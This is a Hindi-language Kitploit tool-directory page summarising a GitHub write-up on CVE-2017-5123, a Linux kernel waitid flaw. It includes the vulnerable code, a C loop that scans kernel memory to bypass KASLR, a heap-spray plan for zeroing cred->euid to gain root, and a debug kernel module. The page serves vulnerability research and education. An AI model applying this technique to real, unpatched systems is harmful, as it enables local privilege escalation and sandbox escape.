Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/h1bana/cve-2017-5123
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणलर्निंग और शिक्षाबाइनरी शोषण
GitHubh1bana/cve-2017-5123

CVE-2017-5123

CVE-2017-5123 के लिए विस्तृत तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो missing access_ok() check के कारण स्थानीय विशेषाधिकार वृद्धि को सक्षम बनाने वाली लिनक्स कर्नेल की waitid syscall कमजोरी है।

रिपॉजिटरी देखें
13 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2017-5123

बग अवलोकन

लिनक्स कर्नेल में waitid सिस्टम कॉल उपयोग किए जाने वाले गंतव्य पते को सत्यापित नहीं करता था। इससे स्थानीय उपयोगकर्ता कर्नेल मेमोरी क्षेत्र में लिख सकते हैं, जिसके परिणामस्वरूप डिवाइस पर विशेषाधिकार वृद्धि या सैंडबॉक्स एस्केप हो सकता है।

भेद्यता विवरण

भेद्यता वर्गीकरण

  • विशेषाधिकार वृद्धि
  • सैंडबॉक्स एस्केप (क्रोम)

भेद्यता कोड

kernel/exit.c

root@kitploit:~
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
        infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;

    user_access_begin(); // मूलतः stac() कॉल करता है, अस्थायी रूप से SMAP बंद करता है
    unsafe_put_user(signo, &infop->si_signo, Efault); // <- इस फ़ंक्शन को कॉल करने से पहले access_ok() चेक गायब
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();  // मूलतः clac() कॉल करता है, SMAP फिर से चालू करता है
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

यहाँ पहचानी गई त्रुटि unsafe_put_user() फ़ंक्शन को कॉल करने से पहले access_ok() चेक का अभाव है। पिछले कर्नेल संस्करणों में, प्रोग्राम put_user() फ़ंक्शन का उपयोग करता था, जिसमें access_ok() चेक शामिल था।

root@kitploit:~
put_user(x, void __user *ptr)
    if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
        return -EFAULT
    user_access_begin()
    *ptr = x
    user_access_end()

unsafe_put_user() फ़ंक्शन का उपयोग करके, प्रोग्राम user_access_begin() / user_access_end() को बार-बार कॉल करने से बचता है, जो SMAP को बार-बार चालू/बंद करने से रोकता है। access_ok() यहाँ ptr पते की वैधता की जाँच करता है, यह सुनिश्चित करता है कि यह उपयोगकर्ता की मेमोरी क्षेत्र में है। इससे उपयोगकर्ता को कर्नेल मेमोरी में लिखने से रोका जाता है। इसलिए यदि हम syscall waitid को कॉल करते हैं और infop पैरामीटर एक कर्नेल पता है, तो यह त्रुटि ट्रिगर होगी।

शोषण

access_ok() चेक की कमी हमें waitid के infop पैरामीटर के रूप में एक कर्नेल पता पास करने की अनुमति देती है, और फिर syscall unsafe_put_user() को कॉल करके इस पते को ओवरराइट करेगा। यहाँ एक सीमा है कि हम कर्नेल पते पर क्या लिखा जाएगा, इसे नियंत्रित नहीं कर सकते। लिखने के लिए 6 फ़ील्ड हैं: signo, नल बाइट, info.cause, info.pid (अधिकतम मान 0x8000), info.uid, info.status (int32 प्रकार है लेकिन केवल मान >0, <256)। यहाँ सबसे उपयोगी फ़ील्ड शायद नल बाइट है। हम इसका उपयोग cred->euid और cred->uid को ओवरराइट करने के लिए कर सकते हैं। ऐसा करने के लिए, हमें इन दो मानों का पता जानना होगा।

मेमोरी स्कैन करके KASLR को बायपास करना

kernel.org के अनुसार, सभी प्रक्रियाओं के बीच साझा Kernel-space virtual memory का पता 0xffff800000000000 से शुरू होता है, हालांकि 0xffff800000000000 से 0xffff87ffffffffff तक "... guard hole, also reserved for hypervisor" है, इसलिए हम मेमोरी स्कैनिंग 0xffff880000000000 से शुरू करेंगे। यह भी ध्यान देने योग्य है कि हम मेमोरी स्कैन कर सकते हैं क्योंकि unsafe_put_user() अमान्य पतों तक पहुँचने पर क्रैश नहीं होगा। यह "unprivileged users" को अमान्य पता देकर सिस्टम को DoS करने से रोकता है।

root@kitploit:~
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
    pid = fork();
    if (pid > 0) 
    {
        if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0) 
        {
            printf("[+] Found %p\n", i);
            break;
        }
    }
    else if (pid == 0)
        exit(0);
}

image

अब हम कर्नेल हीप का पता जानते हैं। अगला कदम cred struct का पता खोजना है।

हीप स्प्रे के साथ Cred का पता खोजना

हालाँकि हम कर्नेल हीप का पता जानते हैं, यह जरूरी नहीं कि हीप की शुरुआत का पता हो। इसलिए हम Cred struct का सटीक पता नहीं निकाल सकते। यहाँ हम हीप स्प्रे नामक तकनीक का उपयोग करते हैं।

  • यदि हम बहुत सारी प्रक्रियाएँ बनाते हैं, तो मेमोरी में कई cred struct होंगे। इससे हम cred struct का पता आसानी से अनुमान लगा सकते हैं।
  • वे प्रक्रियाएँ geteuid() को कॉल करती रहती हैं। यदि यह 0 लौटाती है, तो प्रक्रिया रूट विशेषाधिकारों के साथ चल रही है -> बिंगो।
  • पैरेंट प्रक्रिया भेद्यता का उपयोग करके waitid() syscall को कॉल करती रहती है, cred struct के पते का अनुमान लगाती है और cred->uid को null में ओवरराइट करती है।

चाइल्ड प्रक्रियाओं के cred struct का पता खोजने में डीबग करने में काफी समय लगता है, इसलिए मैंने printk() के माध्यम से cred->euid का पता प्रिंट करने के लिए एक मौजूदा मॉड्यूल का उपयोग किया।

root@kitploit:~
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h>        // for basic filesystem
#include <linux/proc_fs.h>    // for the proc filesystem
#include <linux/seq_file.h>    // for sequence files

static struct proc_dir_entry* jif_file;

static int
jif_show(struct seq_file *m, void *v)
{
    return 0;
}

static int
jif_open(struct inode *inode, struct file *file)
{
     printk("EUID: %p\n", &current->cred->euid);
     return single_open(file, jif_show, NULL);
}

static const struct file_operations jif_fops = {
    .owner    = THIS_MODULE,
    .open    = jif_open,
    .read    = seq_read,
    .llseek    = seq_lseek,
    .release    = single_release,
};

static int __init
jif_init(void)
{
    jif_file = proc_create("jif", 0, NULL, &jif_fops);

    if (!jif_file) {
        return -ENOMEM;
    }

    return 0;
}

static void __exit
jif_exit(void)
{
    remove_proc_entry("jif", NULL);
}

module_init(jif_init);
module_exit(jif_exit);

MODULE_LICENSE("GPL");

image

मैंने देखा कि कुछ पते समान पैटर्न वाले हैं, रीबूट के बाद भी, इन पतों का ऑफसेट समान रहता है। इसलिए मैंने एक पता चुना और फिर लूप में + pagesize जोड़कर cred struct का पता अनुमान लगाया।

image

शोषण का वीडियो डेमो IMAGE ALT TEXT HERE

इस शोषण दृष्टिकोण के साथ कुछ समस्याएँ

  • सफलता की दर अनिश्चित है।
  • इस भेद्यता से प्रभावित कर्नेल संस्करणों के लिए, शोषण कोड सभी संस्करणों पर काम नहीं कर सकता क्योंकि प्रत्येक कर्नेल संस्करण में स्प्रे करते समय EUID का ऑफसेट अलग होता है। PoC को सभी संस्करणों पर चलाने के लिए, जब शोषण कोड euid को null में बदलने के लिए ढूँढता है, मैंने heap addr founded + offset प्रारूप का पता रखा है। ऑफसेट को छोटा रखने की आवश्यकता है ताकि इसका उपयोग कई संस्करणों के लिए किया जा सके। हालांकि इसका मतलब है कि हमला करने में अधिक समय लगेगा, और हीप में अन्य महत्वपूर्ण स्ट्रक्ट्स पर लिखने के कारण कर्नेल पैनिक/क्रैश होने की संभावना बढ़ जाती है।

प्रभावित सीमा

  • प्रभावित संस्करण: linux kernel संस्करण 4.13 - 4.13.6
  • बग पेश करने वाला कमिट (2017-05-21, v4.13-rc1)

पैच

  • पैच में access_ok() चेक जोड़ा गया
  • पैच कमिट

निष्कर्ष

  • इस बग का उपयोग विशेषाधिकार वृद्धि के लिए किया जा सकता है, और इसे क्रोम सैंडबॉक्स एस्केप के साथ जोड़ा जा सकता है। बग की खोज के समय, क्रोम seccomp waitid syscall के उपयोग की अनुमति देता था।

संदर्भ

  • Exploiting CVE-2017-5123 with full protections. SMEP, SMAP, and the Chrome Sandbox!
टूल डाउनलोड करें